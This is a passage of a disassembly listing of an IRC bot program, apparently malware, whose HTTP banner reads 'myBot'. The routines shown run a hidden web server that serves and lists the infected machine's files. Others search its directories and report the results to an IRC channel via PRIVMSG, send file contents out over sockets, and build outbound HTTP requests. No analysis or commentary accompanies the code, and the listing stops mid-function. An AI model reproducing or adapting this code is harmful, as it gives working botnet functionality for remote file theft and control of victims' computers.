		call	dword_41F068	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_41F064	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_404E2F
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_413812
		add	esp, 24h
		jmp	short loc_404E50
; ---------------------------------------------------------------------------


loc_404E2F:				; CODE XREF: sub_404D4C+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_413812
		add	esp, 28h


loc_404E50:				; CODE XREF: sub_404D4C+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_44CD28	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_404E90
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_405815
		pop	ecx
		pop	ecx
		jmp	short loc_404EAD
; ---------------------------------------------------------------------------


loc_404E90:				; CODE XREF: sub_404D4C+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40517E
		add	esp, 10h


loc_404EAD:				; CODE XREF: sub_404D4C+142j
		push	[ebp+var_44C]
		call	dword_44CD70	; closesocket
		push	[ebp+var_B4]
		call	sub_4135DA
		pop	ecx
		push	edi
		call	dword_41F040	; ExitThread
		pop	edi
		pop	esi
sub_404D4C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404ECE	proc near		; CODE XREF: sub_4048F1+3C0p

var_7C4		= dword	ptr -7C4h
var_740		= byte ptr -740h
var_63C		= byte ptr -63Ch
var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 7C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_413890
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_404F04
		push	eax
		push	offset off_42540C
		jmp	short loc_404F0D
; ---------------------------------------------------------------------------


loc_404F04:				; CODE XREF: sub_404ECE+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_3	; "%s"


loc_404F0D:				; CODE XREF: sub_404ECE+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_413812
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_413E90
		test	eax, eax
		pop	ecx
		jbe	short loc_404FA8
		mov	[ebp+arg_8], 2


loc_404F38:				; CODE XREF: sub_404ECE+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_413E90
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_404F78
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_404F78
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_404F78
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_404F78
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_404F92
; ---------------------------------------------------------------------------


loc_404F78:				; CODE XREF: sub_404ECE+7Aj
					; sub_404ECE+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_404F88
		push	5Ch
		pop	eax
		jmp	short loc_404F8B
; ---------------------------------------------------------------------------


loc_404F88:				; CODE XREF: sub_404ECE+B3j
		movsx	eax, al


loc_404F8B:				; CODE XREF: sub_404ECE+B8j
		mov	[ebp+ebx+var_210], al


loc_404F92:				; CODE XREF: sub_404ECE+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_413E90
		cmp	esi, eax
		pop	ecx
		jb	short loc_404F38


loc_404FA8:				; CODE XREF: sub_404ECE+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_4	; "%s%s"
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_314]
		push	offset asc_4253FC ; "\n"
		push	eax
		call	sub_4150A0
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_41F078	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_404FF6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404FF9
		push	[ebp+arg_0]
		jmp	short loc_405075
; ---------------------------------------------------------------------------


loc_404FF6:				; CODE XREF: sub_404ECE+11Cj
		mov	[ebp+var_4], esi


loc_404FF9:				; CODE XREF: sub_404ECE+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_405006
		mov	[ebp+var_4], esi


loc_405006:				; CODE XREF: sub_404ECE+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_7C4], ebx
		mov	[ebp+var_418], edi
		jz	short loc_405080
		cmp	[ebp+arg_C], edi
		jz	short loc_405074
		lea	eax, [ebp+var_314]
		push	offset asc_4253F8 ; "*"
		push	eax
		call	sub_414FC0
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_740]
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4058D2
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_413812
		add	esp, 1Ch
		or	[ebp+var_430], 0FFFFFFFFh
		mov	[ebp+var_41C], esi
		jmp	short loc_4050CF
; ---------------------------------------------------------------------------


loc_405074:				; CODE XREF: sub_404ECE+14Fj
		push	ebx


loc_405075:				; CODE XREF: sub_404ECE+126j
		call	dword_44CD70	; closesocket
		jmp	loc_405177
; ---------------------------------------------------------------------------


loc_405080:				; CODE XREF: sub_404ECE+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_41F05C	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4050CF
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_740]
		push	eax
		call	sub_413812
		pop	ecx
		mov	[ebp+var_41C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_41F074	; GetFileSize
		push	esi
		mov	[ebp+var_430], eax
		call	dword_41F058	; CloseHandle


loc_4050CF:				; CODE XREF: sub_404ECE+1A4j
					; sub_404ECE+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_414]
		push	esi
		push	offset unk_4253B4
		push	eax
		call	sub_413812
		push	edi
		lea	eax, [ebp+var_414]
		push	3
		push	eax
		call	sub_4132BE
		mov	[ebp+var_42C], eax
		imul	eax, 134h
		add	esp, 18h
		mov	dword_45212C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_7C4]
		push	edi
		push	eax
		push	offset sub_404D4C
		push	edi
		push	edi
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_42C]
		imul	ecx, 134h
		cmp	eax, edi
		mov	dword_45213C[ecx], eax
		jz	short loc_405149


loc_405137:				; CODE XREF: sub_404ECE+279j
		cmp	[ebp+var_418], edi
		jnz	short loc_405177
		push	5
		call	dword_41F050	; Sleep
		jmp	short loc_405137
; ---------------------------------------------------------------------------


loc_405149:				; CODE XREF: sub_404ECE+267j
		push	ebx
		call	dword_44CD70	; closesocket
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_425368
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_409833
		add	esp, 10h


loc_405177:				; CODE XREF: sub_404ECE+1ADj
					; sub_404ECE+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_404ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40517E	proc near		; CODE XREF: sub_404D4C+159p
					; sub_40CC09+4194p

var_494		= byte ptr -494h
var_390		= byte ptr -390h
var_288		= dword	ptr -288h
var_274		= byte ptr -274h
var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_148		= byte ptr -148h
var_120		= byte ptr -120h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_494]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_413890
		mov	edi, [ebp+arg_0]
		push	offset asc_4253FC ; "\n"
		push	edi
		call	sub_4150A0
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4051DD
		push	edi
		mov	esi, 0FFh
		push	[ebp+arg_8]
		lea	eax, [ebp+var_120]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 14h
		jmp	loc_4052DA
; ---------------------------------------------------------------------------


loc_4051DD:				; CODE XREF: sub_40517E+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4052C0
		call	sub_413E90
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 0FFh
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 14h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 10h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		push	edi
		call	sub_413E90
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 1Ch
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 0Ch
		jmp	short loc_4052DA
; ---------------------------------------------------------------------------


loc_4052C0:				; CODE XREF: sub_40517E+63j
		mov	esi, 0FFh
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 10h


loc_4052DA:				; CODE XREF: sub_40517E+5Aj
					; sub_40517E+140j
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_405372
		push	[ebp+arg_C]
		call	sub_413E90
		cmp	eax, 2
		pop	ecx
		jbe	short loc_405372
		push	[ebp+arg_C]
		call	sub_413E90
		sub	eax, 3
		pop	ecx
		jz	short loc_405326


loc_40531A:				; CODE XREF: sub_40517E+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_405326
		dec	eax
		jnz	short loc_40531A


loc_405326:				; CODE XREF: sub_40517E+19Aj
					; sub_40517E+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_494]
		push	[ebp+arg_C]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_494]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 1Ch
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send


loc_405372:				; CODE XREF: sub_40517E+17Ej
					; sub_40517E+18Cj
		lea	eax, [ebp+var_288]
		push	eax
		push	edi
		call	dword_41F08C	; FindFirstFileA
		lea	ecx, [ebp+var_288]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_41F088	; FindNextFileA
		test	eax, eax
		jz	loc_405778
		mov	edi, 0FEh


loc_40539E:				; CODE XREF: sub_40517E+5F4j
		cmp	[ebp+var_288], ebx
		jz	loc_405760
		lea	eax, [ebp+var_25C]
		push	offset a__	; ".."
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405760
		lea	eax, [ebp+var_25C]
		push	offset a_	; "."
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405760
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	dword_41F084	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_41F080	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_405413
		mov	ecx, offset aAm	; "AM"


loc_405413:				; CODE XREF: sub_40517E+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40541F
		sub	eax, 0Ch


loc_40541F:				; CODE XREF: sub_40517E+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_148]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_413812
		add	esp, 20h
		test	byte ptr [ebp+var_288],	10h
		jz	loc_4055D8
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4054A6
		lea	eax, [ebp+var_25C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_390]
		push	106h
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_390]
		push	eax
		lea	eax, [ebp+var_120]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 28h
		jmp	loc_405731
; ---------------------------------------------------------------------------


loc_4054A6:				; CODE XREF: sub_40517E+2DEj
		cmp	[ebp+arg_C], ebx
		jz	loc_405593
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_120]
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 10h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		lea	eax, [ebp+var_25C]
		push	eax
		lea	eax, [ebp+var_120]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 14h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		lea	eax, [ebp+var_25C]
		push	eax
		call	sub_413E90
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_25C]
		push	eax
		jbe	short loc_405546
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40554B
; ---------------------------------------------------------------------------


loc_405546:				; CODE XREF: sub_40517E+3BFj
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40554B:				; CODE XREF: sub_40517E+3C6j
		lea	eax, [ebp+var_120]
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 10h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		lea	eax, [ebp+var_148]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_405722
; ---------------------------------------------------------------------------


loc_405593:				; CODE XREF: sub_40517E+32Bj
		lea	eax, [ebp+var_25C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_390]
		push	106h
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_390]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_4055C3:				; CODE XREF: sub_40517E+485j
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 24h
		jmp	loc_405731
; ---------------------------------------------------------------------------


loc_4055D8:				; CODE XREF: sub_40517E+2D2j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_405605
		push	ebx
		push	[ebp+var_268]
		call	sub_40A927
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_4055C3
; ---------------------------------------------------------------------------


loc_405605:				; CODE XREF: sub_40517E+460j
		cmp	[ebp+arg_C], ebx
		jz	loc_405708
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_120]
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 10h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		lea	eax, [ebp+var_25C]
		push	eax
		lea	eax, [ebp+var_120]
		push	[ebp+arg_C]
		push	offset aSS_4	; "%s%s"
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 14h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		lea	eax, [ebp+var_25C]
		push	eax
		call	sub_413E90
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_25C]
		push	eax
		jbe	short loc_4056A5
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4056AA
; ---------------------------------------------------------------------------


loc_4056A5:				; CODE XREF: sub_40517E+51Ej
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_4056AA:				; CODE XREF: sub_40517E+525j
		lea	eax, [ebp+var_120]
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 10h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		mov	eax, [ebp+var_268]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_148]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_120]
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 1Ch
		jmp	short loc_405731
; ---------------------------------------------------------------------------


loc_405708:				; CODE XREF: sub_40517E+48Aj
		push	[ebp+var_268]
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_405722:				; CODE XREF: sub_40517E+410j
		lea	eax, [ebp+var_120]
		push	eax
		call	sub_413D8A
		add	esp, 18h


loc_405731:				; CODE XREF: sub_40517E+323j
					; sub_40517E+455j ...
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_405760
		push	7D0h
		call	dword_41F050	; Sleep


loc_405760:				; CODE XREF: sub_40517E+226j
					; sub_40517E+241j ...
		lea	eax, [ebp+var_288]
		push	eax
		push	[ebp+arg_0]
		call	dword_41F088	; FindNextFileA
		test	eax, eax
		jnz	loc_40539E


loc_405778:				; CODE XREF: sub_40517E+215j
		push	[ebp+arg_0]
		call	dword_41F07C	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_4057BB
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40A927
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40A927
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_413812
		add	esp, 14h
		jmp	short loc_4057EF
; ---------------------------------------------------------------------------


loc_4057BB:				; CODE XREF: sub_40517E+606j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4057D5
		lea	eax, [ebp+var_120]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	short loc_4057EF
; ---------------------------------------------------------------------------


loc_4057D5:				; CODE XREF: sub_40517E+640j
		push	[ebp+var_8]
		lea	eax, [ebp+var_120]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_413812
		add	esp, 10h


loc_4057EF:				; CODE XREF: sub_40517E+63Bj
					; sub_40517E+655j
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40517E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405815	proc near		; CODE XREF: sub_404D4C+13Bp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_41F05C	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4058CD
		push	esi
		push	ebx
		call	dword_41F074	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4058C6


loc_40585A:				; CODE XREF: sub_405815+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_405877
		mov	edi, [ebp+arg_4]


loc_405877:				; CODE XREF: sub_405815+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_41F094	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_41F090	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4058C1
		call	dword_44CC78	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4058C6
		xor	eax, eax


loc_4058C1:				; CODE XREF: sub_405815+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_40585A


loc_4058C6:				; CODE XREF: sub_405815+43j
					; sub_405815+A8j
		push	ebx
		call	dword_41F058	; CloseHandle


loc_4058CD:				; CODE XREF: sub_405815+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405815	endp


; =============== S U B	R O U T	I N E =======================================



sub_4058D2	proc near		; CODE XREF: sub_404ECE+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_413E90
		test	eax, eax
		pop	ecx
		jbe	short loc_4058FB


loc_4058E5:				; CODE XREF: sub_4058D2+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4058EF
		mov	byte ptr [esi+edi], 2Fh


loc_4058EF:				; CODE XREF: sub_4058D2+17j
		push	edi
		inc	esi
		call	sub_413E90
		cmp	esi, eax
		pop	ecx
		jb	short loc_4058E5


loc_4058FB:				; CODE XREF: sub_4058D2+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4058D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405900	proc near		; CODE XREF: sub_40CC09+278Cp

var_3A0		= byte ptr -3A0h
var_210		= byte ptr -210h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 3A0h
		push	ebx
		lea	eax, [ebp+var_3A0]
		push	edi
		push	eax
		push	101h
		call	dword_44CC60	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_44CD58	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_44CCDC	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_408947
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_44CC88	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4059DD
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_405979
		mov	eax, offset byte_438A10


loc_405979:				; CODE XREF: sub_405900+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
